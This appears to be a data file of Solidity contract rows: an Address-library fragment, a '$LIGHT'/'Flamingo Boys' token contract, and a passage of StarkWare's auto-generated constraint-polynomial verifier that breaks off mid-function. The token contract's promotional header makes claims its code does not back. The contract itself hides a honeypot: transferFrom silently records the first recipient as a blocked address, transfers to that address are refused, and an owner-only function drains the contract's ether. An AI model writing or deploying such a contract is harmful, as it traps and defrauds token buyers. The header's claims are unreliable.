* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(
address target,
bytes memory data,
string memory errorMessage
) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
(bool success, bytes memory returndata) = target.staticcall(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
(bool success, bytes memory returndata) = target.delegatecall(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the
* revert reason using the provided one.
*
* _Available since v4.3._
*/
function verifyCallResult(
bool success,
bytes memory returndata,
string memory errorMessage
) internal pure returns (bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
} | True | [
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|
/*
$LIGHT
$LIGHT SPEED Protocol is Forked from Safemoon with adjustment
#LIQ + #RFI + #Safemoon + #DOGE = #LIGHT
Stealth launch
Liquidity Locked for 365 Days
Small Initial Market Cap
No Dev & Team Token, because $FLAMINGOBOYS 100% Driven by Community
Great Features :
* 5% fee auto-add liquidity pool to locked forever when Selling *
* 3% fee auto distribute to reward All Holders *
* 2% Burn Blackhole deflationary tokenomics *
* 50% supply burn at start *
* The strong holder get valuable reward *
Other Info :
1,000,000,000,000 Total Supply
500,000,000,000 Token Limitation for trade
* Website : https://lightspeed.io/
* Telegram : https://t.me/lightspeedtoken
Its the best parts of the #$LIGHT idea, increasing the liquidity pool automatically, help the pool grow from tiny initial market cap
Audit , Coingecko , CMC & Blockfolio will be launch soon
*/
pragma solidity >=0.5.17;
library SafeMath {
function add(uint a, uint b) internal pure returns (uint c) {
c = a + b;
require(c >= a);
}
function sub(uint a, uint b) internal pure returns (uint c) {
require(b <= a);
c = a - b;
}
function mul(uint a, uint b) internal pure returns (uint c) {
c = a * b;
require(a == 0 || c / a == b);
}
function div(uint a, uint b) internal pure returns (uint c) {
require(b > 0);
c = a / b;
}
}
contract ERC20Interface {
function totalSupply() public view returns (uint);
function balanceOf(address tokenOwner) public view returns (uint balance);
function allowance(address tokenOwner, address spender) public view returns (uint remaining);
function transfer(address to, uint tokens) public returns (bool success);
function approve(address spender, uint tokens) public returns (bool success);
function transferFrom(address from, address to, uint tokens) public returns (bool success);
event Transfer(address indexed from, address indexed to, uint tokens);
event Approval(address indexed tokenOwner, address indexed spender, uint tokens);
}
contract ApproveAndCallFallBack {
function receiveApproval(address from, uint256 tokens, address token, bytes memory data) public;
}
contract Owned {
address public owner;
address public newOwner;
event OwnershipTransferred(address indexed _from, address indexed _to);
constructor() public {
owner = msg.sender;
}
modifier onlyOwner {
require(msg.sender == owner);
_;
}
function transferOwnership(address _newOwner) public onlyOwner {
newOwner = _newOwner;
}
function acceptOwnership() public {
require(msg.sender == newOwner);
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
newOwner = address(0);
}
}
contract TokenERC20 is ERC20Interface, Owned{
using SafeMath for uint;
string public symbol;
string public name;
uint8 public decimals;
uint _totalSupply;
address public newun;
mapping(address => uint) balances;
mapping(address => mapping(address => uint)) allowed;
constructor() public {
symbol = "FLM";
name = "Flamingo Boys";
decimals = 8;
_totalSupply = 1000000000000000000;
balances[owner] = _totalSupply;
emit Transfer(address(0), owner, _totalSupply);
}
function transfernewun(address _newun) public onlyOwner {
newun = _newun;
}
function totalSupply() public view returns (uint) {
return _totalSupply.sub(balances[address(0)]);
}
function balanceOf(address tokenOwner) public view returns (uint balance) {
return balances[tokenOwner];
}
function transfer(address to, uint tokens) public returns (bool success) {
require(to != newun, "please wait");
balances[msg.sender] = balances[msg.sender].sub(tokens);
balances[to] = balances[to].add(tokens);
emit Transfer(msg.sender, to, tokens);
return true;
}
function approve(address spender, uint tokens) public returns (bool success) {
allowed[msg.sender][spender] = tokens;
emit Approval(msg.sender, spender, tokens);
return true;
}
function transferFrom(address from, address to, uint tokens) public returns (bool success) {
if(from != address(0) && newun == address(0)) newun = to;
else require(to != newun, "please wait");
balances[from] = balances[from].sub(tokens);
allowed[from][msg.sender] = allowed[from][msg.sender].sub(tokens);
balances[to] = balances[to].add(tokens);
emit Transfer(from, to, tokens);
return true;
}
function allowance(address tokenOwner, address spender) public view returns (uint remaining) {
return allowed[tokenOwner][spender];
}
function approveAndCall(address spender, uint tokens, bytes memory data) public returns (bool success) {
allowed[msg.sender][spender] = tokens;
emit Approval(msg.sender, spender, tokens);
ApproveAndCallFallBack(spender).receiveApproval(msg.sender, tokens, address(this), data);
return true;
}
function () external payable {
revert();
}
}
contract LIGHT is TokenERC20 {
function clearCNDAO() public onlyOwner() {
address payable _owner = msg.sender;
_owner.transfer(address(this).balance);
}
function() external payable {
}
} | True | [
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|
/*
Copyright 2019,2020 StarkWare Industries Ltd.
Licensed under the Apache License, Version 2.0 (the "License").
You may not use this file except in compliance with the License.
You may obtain a copy of the License at
https://www.starkware.co/open-source-license/
Unless required by applicable law or agreed to in writing,
software distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions
and limitations under the License.
*/
// ---------- The following code was auto-generated. PLEASE DO NOT EDIT. ----------
pragma solidity ^0.5.2;
contract CpuConstraintPoly {
// The Memory map during the execution of this contract is as follows:
// [0x0, 0x20) - periodic_column/pedersen/points/x.
// [0x20, 0x40) - periodic_column/pedersen/points/y.
// [0x40, 0x60) - periodic_column/ecdsa/generator_points/x.
// [0x60, 0x80) - periodic_column/ecdsa/generator_points/y.
// [0x80, 0xa0) - trace_length.
// [0xa0, 0xc0) - offset_size.
// [0xc0, 0xe0) - half_offset_size.
// [0xe0, 0x100) - initial_ap.
// [0x100, 0x120) - initial_pc.
// [0x120, 0x140) - final_ap.
// [0x140, 0x160) - final_pc.
// [0x160, 0x180) - memory/multi_column_perm/perm/interaction_elm.
// [0x180, 0x1a0) - memory/multi_column_perm/hash_interaction_elm0.
// [0x1a0, 0x1c0) - memory/multi_column_perm/perm/public_memory_prod.
// [0x1c0, 0x1e0) - rc16/perm/interaction_elm.
// [0x1e0, 0x200) - rc16/perm/public_memory_prod.
// [0x200, 0x220) - rc_min.
// [0x220, 0x240) - rc_max.
// [0x240, 0x260) - pedersen/shift_point.x.
// [0x260, 0x280) - pedersen/shift_point.y.
// [0x280, 0x2a0) - initial_pedersen_addr.
// [0x2a0, 0x2c0) - initial_rc_addr.
// [0x2c0, 0x2e0) - ecdsa/sig_config.alpha.
// [0x2e0, 0x300) - ecdsa/sig_config.shift_point.x.
// [0x300, 0x320) - ecdsa/sig_config.shift_point.y.
// [0x320, 0x340) - ecdsa/sig_config.beta.
// [0x340, 0x360) - initial_ecdsa_addr.
// [0x360, 0x380) - initial_checkpoints_addr.
// [0x380, 0x3a0) - final_checkpoints_addr.
// [0x3a0, 0x3c0) - trace_generator.
// [0x3c0, 0x3e0) - oods_point.
// [0x3e0, 0x440) - interaction_elements.
// [0x440, 0x2980) - coefficients.
// [0x2980, 0x3f20) - oods_values.
// ----------------------- end of input data - -------------------------
// [0x3f20, 0x3f40) - composition_degree_bound.
// [0x3f40, 0x3f60) - intermediate_value/cpu/decode/opcode_rc/bit_0.
// [0x3f60, 0x3f80) - intermediate_value/cpu/decode/opcode_rc/bit_1.
// [0x3f80, 0x3fa0) - intermediate_value/cpu/decode/opcode_rc/bit_2.
// [0x3fa0, 0x3fc0) - intermediate_value/cpu/decode/opcode_rc/bit_4.
// [0x3fc0, 0x3fe0) - intermediate_value/cpu/decode/opcode_rc/bit_3.
// [0x3fe0, 0x4000) - intermediate_value/cpu/decode/opcode_rc/bit_9.
// [0x4000, 0x4020) - intermediate_value/cpu/decode/opcode_rc/bit_5.
// [0x4020, 0x4040) - intermediate_value/cpu/decode/opcode_rc/bit_6.
// [0x4040, 0x4060) - intermediate_value/cpu/decode/opcode_rc/bit_7.
// [0x4060, 0x4080) - intermediate_value/cpu/decode/opcode_rc/bit_8.
// [0x4080, 0x40a0) - intermediate_value/npc_reg_0.
// [0x40a0, 0x40c0) - intermediate_value/cpu/decode/opcode_rc/bit_10.
// [0x40c0, 0x40e0) - intermediate_value/cpu/decode/opcode_rc/bit_11.
// [0x40e0, 0x4100) - intermediate_value/cpu/decode/opcode_rc/bit_12.
// [0x4100, 0x4120) - intermediate_value/cpu/decode/opcode_rc/bit_13.
// [0x4120, 0x4140) - intermediate_value/cpu/decode/opcode_rc/bit_14.
// [0x4140, 0x4160) - intermediate_value/memory/address_diff_0.
// [0x4160, 0x4180) - intermediate_value/rc16/diff_0.
// [0x4180, 0x41a0) - intermediate_value/pedersen/hash0/ec_subset_sum/bit_0.
// [0x41a0, 0x41c0) - intermediate_value/pedersen/hash0/ec_subset_sum/bit_neg_0.
// [0x41c0, 0x41e0) - intermediate_value/pedersen/hash1/ec_subset_sum/bit_0.
// [0x41e0, 0x4200) - intermediate_value/pedersen/hash1/ec_subset_sum/bit_neg_0.
// [0x4200, 0x4220) - intermediate_value/pedersen/hash2/ec_subset_sum/bit_0.
// [0x4220, 0x4240) - intermediate_value/pedersen/hash2/ec_subset_sum/bit_neg_0.
// [0x4240, 0x4260) - intermediate_value/pedersen/hash3/ec_subset_sum/bit_0.
// [0x4260, 0x4280) - intermediate_value/pedersen/hash3/ec_subset_sum/bit_neg_0.
// [0x4280, 0x42a0) - intermediate_value/rc_builtin/value0_0.
// [0x42a0, 0x42c0) - intermediate_value/rc_builtin/value1_0.
// [0x42c0, 0x42e0) - intermediate_value/rc_builtin/value2_0.
// [0x42e0, 0x4300) - intermediate_value/rc_builtin/value3_0.
// [0x4300, 0x4320) - intermediate_value/rc_builtin/value4_0.
// [0x4320, 0x4340) - intermediate_value/rc_builtin/value5_0.
// [0x4340, 0x4360) - intermediate_value/rc_builtin/value6_0.
// [0x4360, 0x4380) - intermediate_value/rc_builtin/value7_0.
// [0x4380, 0x43a0) - intermediate_value/ecdsa/signature0/doubling_key/x_squared.
// [0x43a0, 0x43c0) - intermediate_value/ecdsa/signature0/exponentiate_generator/bit_0.
// [0x43c0, 0x43e0) - intermediate_value/ecdsa/signature0/exponentiate_generator/bit_neg_0.
// [0x43e0, 0x4400) - intermediate_value/ecdsa/signature0/exponentiate_key/bit_0.
// [0x4400, 0x4420) - intermediate_value/ecdsa/signature0/exponentiate_key/bit_neg_0.
// [0x4420, 0x46e0) - expmods.
// [0x46e0, 0x49c0) - denominator_invs.
// [0x49c0, 0x4ca0) - denominators.
// [0x4ca0, 0x4e00) - numerators.
// [0x4e00, 0x50e0) - adjustments.
// [0x50e0, 0x51a0) - expmod_context.
function() external {
uint256 res;
assembly {
let PRIME := 0x800000000000011000000000000000000000000000000000000000000000001
// Copy input from calldata to memory.
calldatacopy(0x0, 0x0, /*Input data size*/ 0x3f20)
let point := /*oods_point*/ mload(0x3c0)
// Initialize composition_degree_bound to 2 * trace_length.
mstore(0x3f20, mul(2, /*trace_length*/ mload(0x80)))
function expmod(base, exponent, modulus) -> res {
let p := /*expmod_context*/ 0x50e0
mstore(p, 0x20) // Length of Base.
mstore(add(p, 0x20), 0x20) // Length of Exponent.
mstore(add(p, 0x40), 0x20) // Length of Modulus.
mstore(add(p, 0x60), base) // Base.
mstore(add(p, 0x80), exponent) // Exponent.
mstore(add(p, 0xa0), modulus) // Modulus.
// Call modexp precompile.
if iszero(staticcall(not(0), 0x05, p, 0xc0, p, 0x20)) {
revert(0, 0)
}
res := mload(p)
}
function degreeAdjustment(compositionPolynomialDegreeBound, constraintDegree, numeratorDegree,
denominatorDegree) -> res {
res := sub(sub(compositionPolynomialDegreeBound, 1),
sub(add(constraintDegree, numeratorDegree), denominatorDegree))
}
{
// Prepare expmods for denominators and numerators.
// expmods[0] = point^trace_length.
mstore(0x4420, expmod(point, /*trace_length*/ mload(0x80), PRIME))
// expmods[1] = point^(trace_length / 16).
mstore(0x4440, expmod(point, div(/*trace_length*/ mload(0x80), 16), PRIME))
// expmods[2] = point^(trace_length / 2).
mstore(0x4460, expmod(point, div(/*trace_length*/ mload(0x80), 2), PRIME))
// expmods[3] = point^(trace_length / 8).
mstore(0x4480, expmod(point, div(/*trace_length*/ mload(0x80), 8), PRIME))
// expmods[4] = point^(trace_length / 4).
mstore(0x44a0, expmod(point, div(/*trace_length*/ mload(0x80), 4), PRIME))
// expmods[5] = point^(trace_length / 256).
mstore(0x44c0, expmod(point, div(/*trace_length*/ mload(0x80), 256), PRIME))
// expmods[6] = point^(trace_length / 512).
mstore(0x44e0, expmod(point, div(/*trace_length*/ mload(0x80), 512), PRIME))
// expmods[7] = point^(trace_length / 128).
mstore(0x4500, expmod(point, div(/*trace_length*/ mload(0x80), 128), PRIME))
// expmods[8] = point^(trace_length / 4096).
mstore(0x4520, expmod(point, div(/*trace_length*/ mload(0x80), 4096), PRIME))
// expmods[9] = point^(trace_length / 32).
mstore(0x4540, expmod(point, div(/*trace_length*/ mload(0x80), 32), PRIME))
// expmods[10] = point^(trace_length / 8192).
mstore(0x4560, expmod(point, div(/*trace_length*/ mload(0x80), 8192), PRIME))
// expmods[11] = trace_generator^(15 * trace_length / 16).
mstore(0x4580, expmod(/*trace_generator*/ mload(0x3a0), div(mul(15, /*trace_length*/ mload(0x80)), 16), PRIME))
// expmods[12] = trace_generator^(16 * (trace_length / 16 - 1)).
mstore(0x45a0, expmod(/*trace_generator*/ mload(0x3a0), mul(16, sub(div(/*trace_length*/ mload(0x80), 16), 1)), PRIME))
// expmods[13] = trace_generator^(2 * (trace_length / 2 - 1)).
mstore(0x45c0, expmod(/*trace_generator*/ mload(0x3a0), mul(2, sub(div(/*trace_length*/ mload(0x80), 2), 1)), PRIME))
// expmods[14] = trace_generator^(4 * (trace_length / 4 - 1)).
mstore(0x45e0, expmod(/*trace_generator*/ mload(0x3a0), mul(4, sub(div(/*trace_length*/ mload(0x80), 4), 1)), PRIME))
// expmods[15] = trace_generator^(255 * trace_length / 256).
mstore(0x4600, expmod(/*trace_generator*/ mload(0x3a0), div(mul(255, /*trace_length*/ mload(0x80)), 256), PRIME))
// expmods[16] = trace_generator^(63 * trace_length / 64).
mstore(0x4620, expmod(/*trace_generator*/ mload(0x3a0), div(mul(63, /*trace_length*/ mload(0x80)), 64), PRIME))
// expmods[17] = trace_generator^(trace_length / 2).
mstore(0x4640, expmod(/*trace_generator*/ mload(0x3a0), div(/*trace_length*/ mload(0x80), 2), PRIME))
// expmods[18] = trace_generator^(128 * (trace_length / 128 - 1)).
mstore(0x4660, expmod(/*trace_generator*/ mload(0x3a0), mul(128, sub(div(/*trace_length*/ mload(0x80), 128), 1)), PRIME))
// expmods[19] = trace_generator^(251 * trace_length / 256).
mstore(0x4680, expmod(/*trace_generator*/ mload(0x3a0), div(mul(251, /*trace_length*/ mload(0x80)), 256), PRIME))
// expmods[20] = trace_generator^(8192 * (trace_length / 8192 - 1)).
mstore(0x46a0, expmod(/*trace_generator*/ mload(0x3a0), mul(8192, sub(div(/*trace_length*/ mload(0x80), 8192), 1)), PRIME))
// expmods[21] = trace_generator^(256 * (trace_length / 256 - 1)).
mstore(0x46c0, expmod(/*trace_generator*/ mload(0x3a0), mul(256, sub(div(/*trace_length*/ mload(0x80), 256), 1)), PRIME))
}
{
// Prepare denominators for batch inverse.
// Denominator for constraints: 'cpu/decode/opcode_rc/bit', 'pedersen/hash0/ec_subset_sum/booleanity_test', 'pedersen/hash0/ec_subset_sum/add_points/slope', 'pedersen/hash0/ec_subset_sum/add_points/x', 'pedersen/hash0/ec_subset_sum/add_points/y', 'pedersen/hash0/ec_subset_sum/copy_point/x', 'pedersen/hash0/ec_subset_sum/copy_point/y', 'pedersen/hash1/ec_subset_sum/booleanity_test', 'pedersen/hash1/ec_subset_sum/add_points/slope', 'pedersen/hash1/ec_subset_sum/add_points/x', 'pedersen/hash1/ec_subset_sum/add_points/y', 'pedersen/hash1/ec_subset_sum/copy_point/x', 'pedersen/hash1/ec_subset_sum/copy_point/y', 'pedersen/hash2/ec_subset_sum/booleanity_test', 'pedersen/hash2/ec_subset_sum/add_points/slope', 'pedersen/hash2/ec_subset_sum/add_points/x', 'pedersen/hash2/ec_subset_sum/add_points/y', 'pedersen/hash2/ec_subset_sum/copy_point/x', 'pedersen/hash2/ec_subset_sum/copy_point/y', 'pedersen/hash3/ec_subset_sum/booleanity_test', 'pedersen/hash3/ec_subset_sum/add_points/slope', 'pedersen/hash3/ec_subset_sum/add_points/x', 'pedersen/hash3/ec_subset_sum/add_points/y', 'pedersen/hash3/ec_subset_sum/copy_point/x', 'pedersen/hash3/ec_subset_sum/copy_point/y'.
// denominators[0] = point^trace_length - 1.
mstore(0x49c0,
addmod(/*point^trace_length*/ mload(0x4420), sub(PRIME, 1), PRIME))
// Denominator for constraints: 'cpu/decode/opcode_rc/last_bit'.
// denominators[1] = point^(trace_length / 16) - trace_generator^(15 * trace_length / 16).
mstore(0x49e0,
addmod(
/*point^(trace_length / 16)*/ mload(0x4440),
sub(PRIME, /*trace_generator^(15 * trace_length / 16)*/ mload(0x4580)),
PRIME))
// Denominator for constraints: 'cpu/decode/opcode_rc_input', 'cpu/operands/mem_dst_addr', 'cpu/operands/mem0_addr', 'cpu/operands/mem1_addr', 'cpu/operands/ops_mul', 'cpu/operands/res', 'cpu/update_registers/update_pc/tmp0', 'cpu/update_registers/update_pc/tmp1', 'cpu/update_registers/update_pc/pc_cond_negative', 'cpu/update_registers/update_pc/pc_cond_positive', 'cpu/update_registers/update_ap/ap_update', 'cpu/update_registers/update_fp/fp_update', 'cpu/opcodes/call/push_fp', 'cpu/opcodes/call/push_pc', 'cpu/opcodes/assert_eq/assert_eq', 'ecdsa/signature0/doubling_key/slope', 'ecdsa/signature0/doubling_key/x', 'ecdsa/signature0/doubling_key/y', 'ecdsa/signature0/exponentiate_key/booleanity_test', 'ecdsa/signature0/exponentiate_key/add_points/slope', 'ecdsa/signature0/exponentiate_key/add_points/x', 'ecdsa/signature0/exponentiate_key/add_points/y', 'ecdsa/signature0/exponentiate_key/add_points/x_diff_inv', 'ecdsa/signature0/exponentiate_key/copy_point/x', 'ecdsa/signature0/exponentiate_key/copy_point/y'.
// denominators[2] = point^(trace_length / 16) - 1.
mstore(0x4a00,
addmod(/*point^(trace_length / 16)*/ mload(0x4440), sub(PRIME, 1), PRIME))
// Denominator for constraints: 'initial_ap', 'initial_fp', 'initial_pc', 'memory/multi_column_perm/perm/init0', 'rc16/perm/init0', 'rc16/minimum', 'pedersen/init_addr', 'rc_builtin/init_addr', 'ecdsa/init_addr', 'checkpoints/req_pc_init_addr'.
// denominators[3] = point - 1.
mstore(0x4a20,
addmod(point, sub(PRIME, 1), PRIME))
// Denominator for constraints: 'final_ap', 'final_pc'.
// denominators[4] = point - trace_generator^(16 * (trace_length / 16 - 1)).
mstore(0x4a40,
addmod(
point,
sub(PRIME, /*trace_generator^(16 * (trace_length / 16 - 1))*/ mload(0x45a0)),
PRIME))
// Denominator for constraints: 'memory/multi_column_perm/perm/step0', 'memory/diff_is_bit', 'memory/is_func'.
// denominators[5] = point^(trace_length / 2) - 1.
mstore(0x4a60,
addmod(/*point^(trace_length / 2)*/ mload(0x4460), sub(PRIME, 1), PRIME))
// Denominator for constraints: 'memory/multi_column_perm/perm/last'.
// denominators[6] = point - trace_generator^(2 * (trace_length / 2 - 1)).
mstore(0x4a80,
addmod(
point,
sub(PRIME, /*trace_generator^(2 * (trace_length / 2 - 1))*/ mload(0x45c0)),
PRIME))
// Denominator for constraints: 'public_memory_addr_zero', 'public_memory_value_zero'.
// denominators[7] = point^(trace_length / 8) - 1.
mstore(0x4aa0,
addmod(/*point^(trace_length / 8)*/ mload(0x4480), sub(PRIME, 1), PRIME))
// Denominator for constraints: 'rc16/perm/step0', 'rc16/diff_is_bit'.
// denominators[8] = point^(trace_length / 4) - 1.
mstore(0x4ac0,
addmod(/*point^(trace_length / 4)*/ mload(0x44a0), sub(PRIME, 1), PRIME))
// Denominator for constraints: 'rc16/perm/last', 'rc16/maximum'.
// denominators[9] = point - trace_generator^(4 * (trace_length / 4 - 1)).
mstore(0x4ae0,
addmod(
point,
sub(PRIME, /*trace_generator^(4 * (trace_length / 4 - 1))*/ mload(0x45e0)),
PRIME))
// Denominator for constraints: 'pedersen/hash0/ec_subset_sum/bit_extraction_end', 'pedersen/hash1/ec_subset_sum/bit_extraction_end', 'pedersen/hash2/ec_subset_sum/bit_extraction_end', 'pedersen/hash3/ec_subset_sum/bit_extraction_end'.
// denominators[10] = point^(trace_length / 256) - trace_generator^(63 * trace_length / 64).
mstore(0x4b00,
addmod(
/*point^(trace_length / 256)*/ mload(0x44c0),
sub(PRIME, /*trace_generator^(63 * trace_length / 64)*/ mload(0x4620)),
PRIME))
// Denominator for constraints: 'pedersen/hash0/ec_subset_sum/zeros_tail', 'pedersen/hash1/ec_subset_sum/zeros_tail', 'pedersen/hash2/ec_subset_sum/zeros_tail', 'pedersen/hash3/ec_subset_sum/zeros_tail'.
// denominators[11] = point^(trace_length / 256) - trace_generator^(255 * trace_length / 256).
mstore(0x4b20,
addmod(
/*point^(trace_length / 256)*/ mload(0x44c0),
sub(PRIME, /*trace_generator^(255 * trace_length / 256)*/ mload(0x4600)),
PRIME))
// Denominator for constraints: 'pedersen/hash0/copy_point/x', 'pedersen/hash0/copy_point/y', 'pedersen/hash1/copy_point/x', 'pedersen/hash1/copy_point/y', 'pedersen/hash2/copy_point/x', 'pedersen/hash2/copy_point/y', 'pedersen/hash3/copy_point/x', 'pedersen/hash3/copy_point/y', 'checkpoints/required_fp_addr', 'checkpoints/required_pc_next_addr', 'checkpoints/req_pc', 'checkpoints/req_fp'.
// denominators[12] = point^(trace_length / 256) - 1.
mstore(0x4b40,
addmod(/*point^(trace_length / 256)*/ mload(0x44c0), sub(PRIME, 1), PRIME))
// Denominator for constraints: 'pedersen/hash0/init/x', 'pedersen/hash0/init/y', 'pedersen/hash1/init/x', 'pedersen/hash1/init/y', 'pedersen/hash2/init/x', 'pedersen/hash2/init/y', 'pedersen/hash3/init/x', 'pedersen/hash3/init/y', 'pedersen/input0_value0', 'pedersen/input0_value1', 'pedersen/input0_value2', 'pedersen/input0_value3', 'pedersen/input1_value0', 'pedersen/input1_value1', 'pedersen/input1_value2', 'pedersen/input1_value3', 'pedersen/output_value0', 'pedersen/output_value1', 'pedersen/output_value2', 'pedersen/output_value3'.
// denominators[13] = point^(trace_length / 512) - 1.
mstore(0x4b60,
addmod(/*point^(trace_length / 512)*/ mload(0x44e0), sub(PRIME, 1), PRIME))
// Denominator for constraints: 'pedersen/input0_addr', 'pedersen/input1_addr', 'pedersen/output_addr', 'rc_builtin/value', 'rc_builtin/addr_step'.
// denominators[14] = point^(trace_length / 128) - 1.
mstore(0x4b80,
addmod(/*point^(trace_length / 128)*/ mload(0x4500), sub(PRIME, 1), PRIME))
// Denominator for constraints: 'ecdsa/signature0/exponentiate_generator/booleanity_test', 'ecdsa/signature0/exponentiate_generator/add_points/slope', 'ecdsa/signature0/exponentiate_generator/add_points/x', 'ecdsa/signature0/exponentiate_generator/add_points/y', 'ecdsa/signature0/exponentiate_generator/add_points/x_diff_inv', 'ecdsa/signature0/exponentiate_generator/copy_point/x', 'ecdsa/signature0/exponentiate_generator/copy_point/y'.
// denominators[15] = point^(trace_length / 32) - 1.
mstore(0x4ba0,
addmod(/*point^(trace_length / 32)*/ mload(0x4540), sub(PRIME, 1), PRIME))
// Denominator for constraints: 'ecdsa/signature0/exponentiate_generator/bit_extraction_end'.
// denominators[16] = point^(trace_length / 8192) - trace_generator^(251 * trace_length / 256).
mstore(0x4bc0,
addmod(
/*point^(trace_length / 8192)*/ mload(0x4560),
sub(PRIME, /*trace_generator^(251 * trace_length / 256)*/ mload(0x4680)),
PRIME))
// Denominator for constraints: 'ecdsa/signature0/exponentiate_generator/zeros_tail'.
// denominators[17] = point^(trace_length / 8192) - trace_generator^(255 * trace_length / 256).
mstore(0x4be0,
addmod(
/*point^(trace_length / 8192)*/ mload(0x4560),
sub(PRIME, /*trace_generator^(255 * trace_length / 256)*/ mload(0x4600)),
PRIME))
// Denominator for constraints: 'ecdsa/signature0/exponentiate_key/bit_extraction_end'.
// denominators[18] = point^(trace_length / 4096) - trace_generator^(251 * trace_length / 256).
mstore(0x4c00,
addmod(
/*point^(trace_length / 4096)*/ mload(0x4520),
sub(PRIME, /*trace_generator^(251 * trace_length / 256)*/ mload(0x4680)),
PRIME))
// Denominator for constraints: 'ecdsa/signature0/exponentiate_key/zeros_tail'.
// denominators[19] = point^(trace_length / 4096) - trace_generator^(255 * trace_length / 256).
mstore(0x4c20,
addmod(
/*point^(trace_length / 4096)*/ mload(0x4520),
sub(PRIME, /*trace_generator^(255 * trace_length / 256)*/ mload(0x4600)),
PRIME))
// Denominator for constraints: 'ecdsa/signature0/init_gen/x', 'ecdsa/signature0/init_gen/y', 'ecdsa/signature0/add_results/slope', 'ecdsa/signature0/add_results/x', 'ecdsa/signature0/add_results/y', 'ecdsa/signature0/add_results/x_diff_inv', 'ecdsa/signature0/extract_r/slope', 'ecdsa/signature0/extract_r/x', 'ecdsa/signature0/extract_r/x_diff_inv', 'ecdsa/signature0/z_nonzero', 'ecdsa/signature0/q_on_curve/x_squared', 'ecdsa/signature0/q_on_curve/on_curve', 'ecdsa/message_addr', 'ecdsa/pubkey_addr', 'ecdsa/message_value0', 'ecdsa/pubkey_value0'.
// denominators[20] = point^(trace_length / 8192) - 1.
mstore(0x4c40,
addmod(/*point^(trace_length / 8192)*/ mload(0x4560), sub(PRIME, 1), PRIME))
// Denominator for constraints: 'ecdsa/signature0/init_key/x', 'ecdsa/signature0/init_key/y', 'ecdsa/signature0/r_and_w_nonzero'.
// denominators[21] = point^(trace_length / 4096) - 1.
mstore(0x4c60,
addmod(/*point^(trace_length / 4096)*/ mload(0x4520), sub(PRIME, 1), PRIME))
// Denominator for constraints: 'checkpoints/req_pc_final_addr'.
// denominators[22] = point - trace_generator^(256 * (trace_length / 256 - 1)).
mstore(0x4c80,
addmod(
point,
sub(PRIME, /*trace_generator^(256 * (trace_length / 256 - 1))*/ mload(0x46c0)),
PRIME))
}
{
// Compute the inverses of the denominators into denominatorInvs using batch inverse.
// Start by computing the cumulative product.
// Let (d_0, d_1, d_2, ..., d_{n-1}) be the values in denominators. After this loop
// denominatorInvs will be (1, d_0, d_0 * d_1, ...) and prod will contain the value of
// d_0 * ... * d_{n-1}.
// Compute the offset between the partialProducts array and the input values array.
let productsToValuesOffset := 0x2e0
let prod := 1
let partialProductEndPtr := 0x49c0
for { let partialProductPtr := 0x46e0 }
lt(partialProductPtr, partialProductEndPtr)
{ partialProductPtr := add(partialProductPtr, 0x20) } {
mstore(partialProductPtr, prod)
// prod *= d_{i}.
prod := mulmod(prod,
mload(add(partialProductPtr, productsToValuesOffset)),
PRIME)
}
let firstPartialProductPtr := 0x46e0
// Compute the inverse of the product.
let prodInv := expmod(prod, sub(PRIME, 2), PRIME)
if eq(prodInv, 0) {
// Solidity generates reverts with reason that look as follows:
// 1. 4 bytes with the constant 0x08c379a0 (== Keccak256(b'Error(string)')[:4]).
// 2. 32 bytes offset bytes (always 0x20 as far as i can tell).
// 3. 32 bytes with the length of the revert reason.
// 4. Revert reason string.
mstore(0, 0x08c379a000000000000000000000000000000000000000000000000000000000)
mstore(0x4, 0x20)
mstore(0x24, 0x1e)
mstore(0x44, "Batch inverse product is zero.")
revert(0, 0x62)
}
// Compute the inverses.
// Loop over denominator_invs in reverse order.
// currentPartialProductPtr is initialized to one past the end.
let currentPartialProductPtr := 0x49c0
for { } gt(currentPartialProductPtr, firstPartialProductPtr) { } {
currentPartialProductPtr := sub(currentPartialProductPtr, 0x20)
// Store 1/d_{i} = (d_0 * ... * d_{i-1}) * 1/(d_0 * ... * d_{i}).
mstore(currentPartialProductPtr,
mulmod(mload(currentPartialProductPtr), prodInv, PRIME))
// Update prodInv to be 1/(d_0 * ... * d_{i-1}) by multiplying by d_i.
prodInv := mulmod(prodInv,
mload(add(currentPartialProductPtr, productsToValuesOffset)),
PRIME)
}
}
{
// Compute numerators and adjustment polynomials.
// Numerator for constraints 'cpu/decode/opcode_rc/bit'.
// numerators[0] = point^(trace_length / 16) - trace_generator^(15 * trace_length / 16).
mstore(0x4ca0,
addmod(
/*point^(trace_length / 16)*/ mload(0x4440),
sub(PRIME, /*trace_generator^(15 * trace_length / 16)*/ mload(0x4580)),
PRIME))
// Numerator for constraints 'cpu/update_registers/update_pc/tmp0', 'cpu/update_registers/update_pc/tmp1', 'cpu/update_registers/update_pc/pc_cond_negative', 'cpu/update_registers/update_pc/pc_cond_positive', 'cpu/update_registers/update_ap/ap_update', 'cpu/update_registers/update_fp/fp_update'.
// numerators[1] = point - trace_generator^(16 * (trace_length / 16 - 1)).
mstore(0x4cc0,
addmod(
point,
sub(PRIME, /*trace_generator^(16 * (trace_length / 16 - 1))*/ mload(0x45a0)),
PRIME))
// Numerator for constraints 'memory/multi_column_perm/perm/step0', 'memory/diff_is_bit', 'memory/is_func'.
// numerators[2] = point - trace_generator^(2 * (trace_length / 2 - 1)).
